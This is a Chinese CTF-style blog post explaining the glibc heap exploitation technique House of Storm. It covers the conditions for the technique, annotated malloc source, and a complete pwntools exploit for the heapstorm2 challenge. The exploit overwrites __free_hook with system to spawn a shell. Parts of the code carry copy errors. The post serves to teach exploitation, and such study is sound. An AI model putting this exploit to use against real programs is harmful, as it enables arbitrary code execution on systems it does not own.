【表哥有话说 第87期】HouseOfStorm

admin 2023年1月11日17:14:44评论13 views字数 6255阅读20分51秒阅读模式

HouseOfStorm


咳咳咳咳

因为表哥们的阳了个阳

所以我们的表哥有话说系列

也暂时停更了一段时间

不过今天

表哥们终于带来新内容了

【表哥有话说 第87期】HouseOfStorm

本期所讲解的内容是

HouseOfStorm


house of storm可以在任意地址写出chunk地址,进而吧这个地址的高位当作size,可以进行任意地址分配chunk,也可以造成任意地址写。但是利用条件非常苛刻

漏洞利用条件

  1. 1. glibc版本小于2.30,因为2.30之后加入了检查

  2. 2. 需要攻击者在 large_bin 和 unsorted_bin 中分别布置一个chunk 这两个chunk需要在归位之后处于同一个 largebin 的index中且 unsorted_bin 中的chunk要比 large_bin 中的大

  3. 3. 需要 unsorted_bin 中的 bk指针 可控

  4. 4. 需要 large_bin 中的 bk指针和bk_nextsize 指针可控

直接从源码角度看

直接拿出我们要利用的部分

//我们控制unsorted_chunk->bk = fake_chunk
//原本源码中的变量名字已被替换
//unsorted_chunks(av)->bk = fake_chunk
unsorted_chunks(av)->bk = unsorted_chunk->bk;
//fake_chunk+0x10 = unsorted_bin
bck->fd = unsorted_chunks(av);
else 
{
        /*
            设要加入的free chunk走到了这一步 我们将其称为unsorted_bin_chunk(victim)
            到这里说明unsorted_bin_chunk->size>某个large_bin_chunk->size
            这里我们控制
            //下面的减和加的数单纯是为了后面链入操作做准备
            large_chunk->bk=fake_chunk+0x8
            large_chunk->bk_nextsize=fake_chunk-0x18-5
*/


       unsorted_bin_chunk->fd_nextsize=largebin_chunk;
            //unsorted_chunk->bk_nextsize=fake_chunk-0x18-5;
     unsorted_chunk->bk_nextsize= = largebin_chunk->bk_nextsize

     largebin_chunk->bk_nextsize = unsorted_chunk;
        //相当于(fakechunk-0x18-5)+0x20=fakechunk+0x3
        //因为这里要伪造size,64位地址有效部分只有6字节
        //因此往fakechunk+3写可以写完5个字节
        //fake chunk+8也就是size处正好可以写入一个字节
        //也就是堆地址的最高字节写入了size的位置
        //fake_chunk+0x3=unsorted_chunk
     unsorted_bin_chunk->bk_nextsize->fd_nextsize = unsorted_bin_chunk;
}
        //bck=fake_chunk+0x8
     bck = largebin_chunk->bk;
            }
      } 
}

    mark_bin(av, victim_index); //把unsorted_bin_chunk加入到的bin的表示为非空
    //把unsorted_bin_chunk加入到large bin的链表中
    unsorted_bin_chunk->bk = largebin_chunk->bk;
    unsorted_bin_chunk->fd = largebin_chunk;
    largebin_chunk->bk = unsorted_bin_chunk;
        //fake_chunk+0x18=unsorted_chunk
    largebin_chunk->bk->fd = unsorted_bin_chunk;

总之就是改4个地方

  1. 1. unsorted_chunk->bk = fake_chunk #把fake_chunk链到了unsorted_bin中

  2. 2. fake_chunk+0x10 = unsorted_bin #伪造fake_chunk的fd

  3. 3. fake_chunk+0x3 = unsorted_chunk #伪造fake_chunk的size

  4. 4. fake_chunk+0x18 = unsorted_chunk #伪造fake_chunk的bk

然后fake chunk链入unsorted_bin中,使用malloc(0x48)即可在fake chunk分配堆块

同时fakechun+0x3处存着一个堆块地址

这里有一个要注意的地方

__libc_malloc会存在chunk的检查

/*
    #define arena_for_chunk(ptr) 
        (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
    
    过以下检测需要满足的要求,只需满足一条即可
    1. victim 为0
    2. IS_MMAPPED 为 1
    3. NON_MAIN_ARENA 为 0
~~*/
~~

assert(!victim || chunk_is_mmapped(mem2chunk(victim)) 
       || ar_ptr == arena_for_chunk(mem2chunk(victim)));
//第一条无法满足,第二条受size控制,size是我们写进去的,因此可以考虑

0x56:101 0110

0x55:101 0101

要想绕过检查 我们只能选择0x56

可以开启aslr多试几遍

例题

heap2storm

from pwn import *
io=process('./heapstorm2')
libc=ELF('./libc-2.23.so')
def allocate(size):
    io.recvuntil("Command: ")
    io.sendline(str(1))
    io.recvuntil('Size: ')
    io.sendline(str(size))
def edit(index,content):
    io.recvuntil("Command: ")
    io.sendline(str(2))
    io.recvuntil('Index: ')
    io.sendline(str(index))
    io.recvuntil('Size: ')
    io.sendline(str(len(content)))
    io.recvuntil('Content: ')
    io.send(content)
def delete(index):
    io.recvuntil("Command: ")
    io.sendline(str(3))
    io.recvuntil('Index: ')
    io.sendline(str(index))
def view(index):
    io.recvuntil("Command: ")
    io.sendline(str(4))
    io.recvuntil('Index: ')
    io.sendline(str(index))
#unsorted bin
allocate(0x18)#0
allocate(0x508)#1
allocate(0x18)#2
#large bin
allocate(0x18)#3
allocate(0x508)#4
allocate(0x18)#5

allocate(0x18)#6

#构造overlap 准备unsorted bin chunk
edit(1,b'a'*0x4f0+p64(0x500))#缩小chunk需要设置新的pre_size,
delete(1)
edit(0,b'h'*(0x18-0xc))#off by null修改size从0x510->0x500

allocate(0x18)#1 如果不设置新的pre_size就会无法通过unlink检查
allocate(0x4d8)#7 如果不在上面缩小size chunk2的pre_inuse就会设为1,就无法unlink了
#unlink
delete(1)
delete(2)#1 2 7已经成为一个chunk了
allocate(0x38)#1
allocate(0x4e8)#2
#7指向了2的chunk-0x10

#同样的手法对3 4 5 准备large bin chunk
edit(4,b'a'*0x4f0+p64(0x500))
delete(4)
edit(3,b'h'*(0x18-0xc))

allocate(0x18)#4
allocate(0x4d8)#8

delete(4)
delete(5)

allocate(0x48)#4 剩下0x4e0相当于5 
#因为unsorted bin进入large bin的顺序是bk
#先遍历5再遍历2
#所以不能让5和2的大小一样 否则5无法进入large bin
#简单考虑就是house of storm中large bin chunk size必须小于unsorted bin chunk size

#将构造好的chunk放入对应的bin中
delete(2)#前面构造好的2进入unsorter bin         2->5 0x4f0->0x4e0 
allocate(0x4e8)#2 又把构造好的2申请回来同时前面构造好的5进入了large bin
delete(2)#前面的2进入了unsorted bin中
#从这里就能看出 如果5和2的size一样 那么5就无法进入large bin了

mem=0x13370000+0x800#heap_mem
fake_chunk=mem-0x20

#houseOfstorm
#unsorted_chunk->bk = fake_chunk
#large_chunk->bk=fake_chunk+0x8
#large_chunk->bk_nextsize=fake_chunk-0x18-5

#修改unsorted bin chunk的bk
payload=p64(0)*2+p64(0)+p64(0x4f1)#unsorted bin size
payload+=p64(0)+p64(fake_chunk)#unsorted bin bk
edit(7,payload)#修改unsorted bin的bk指针

#修改large bin chunk的bk 和bk_nextsize
payload=p64(0)*4+p64(0)+p64(0x4e1)#修改large bin chunk的size
payload+=p64(0)+p64(fake_chunk+0x8)#修改large bin chunk的bk
payload+=p64(0)+p64(fake_chunk-0x18-0x5)#修改large bin chunk的bk_nextsize
edit(8,payload)

gdb.attach(io,"aslr on")
pause()
allocate(0x48)# 2分配到了堆块
# try:
#     allocate(0x48)#2
# except EOFError:
#     io.close()
payload = p64(0)*6 + p64(0x13370800)
edit(2, payload) #修改了r0~r4为0,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0
#chunl0已经被修改位0x13370800,现在整个heap_array的内容都可以控制
payload = p64(0)*3 +p64(0x13377331)  #满足show的条件
payload += p64(0x13370800) + p64(0x1000#chunk0
payload += p64(fake_chunk+3) + p64(8)   #chunk1
edit(0, payload) #满足show的条件

view(1)  #我们刚刚house of storm 写的fakechunk地址泄漏出来
io.recvuntil("]: ")
heap = u64(io.recv(6).ljust(8b'x00'))
success("heap:"+hex(heap))

payload  = p64(0)*3 + p64(0x13377331)#满足show的条件
payload += p64(0x13370800) + p64(0x1000#chunk0
payload += p64(heap+0x10) + p64(8#chunk1
edit(0, payload)

view(1#泄漏libc地址
io.recvuntil("]: ")
malloc_hook = u64(io.recv(6).ljust(8b'x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
success("free_hook:"+hex(free_hook))
#--------------修改 free_hook -----------------------------------#
payload  = p64(0)*4 #不需要Show了 不需要满足条件了直接填0
payload += p64(free_hook) + p64(0x100)#chunk0
payload += p64(0x13370800+0x40) + p64(8)#chunk1
payload += b'/bin/shx00'
edit(0, payload)#写入chunk[0]=free hook
edit(0, p64(system))#修改free_hook的值
delete(1)#system('/bin/sh')
io.interactive()


本期的知识分享就到这里了

大家在学习的同时

也要注意自己的身体健康

长按下方的二维码关注我们 【表哥有话说 第87期】HouseOfStorm

下期表哥们的干货

已经在等你了!!!

【表哥有话说 第87期】HouseOfStorm


原文始发于微信公众号(SKSEC):【表哥有话说 第87期】HouseOfStorm

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月11日17:14:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【表哥有话说 第87期】HouseOfStormhttps://cn-sec.com/archives/1510818.html

发表评论

匿名网友 填写信息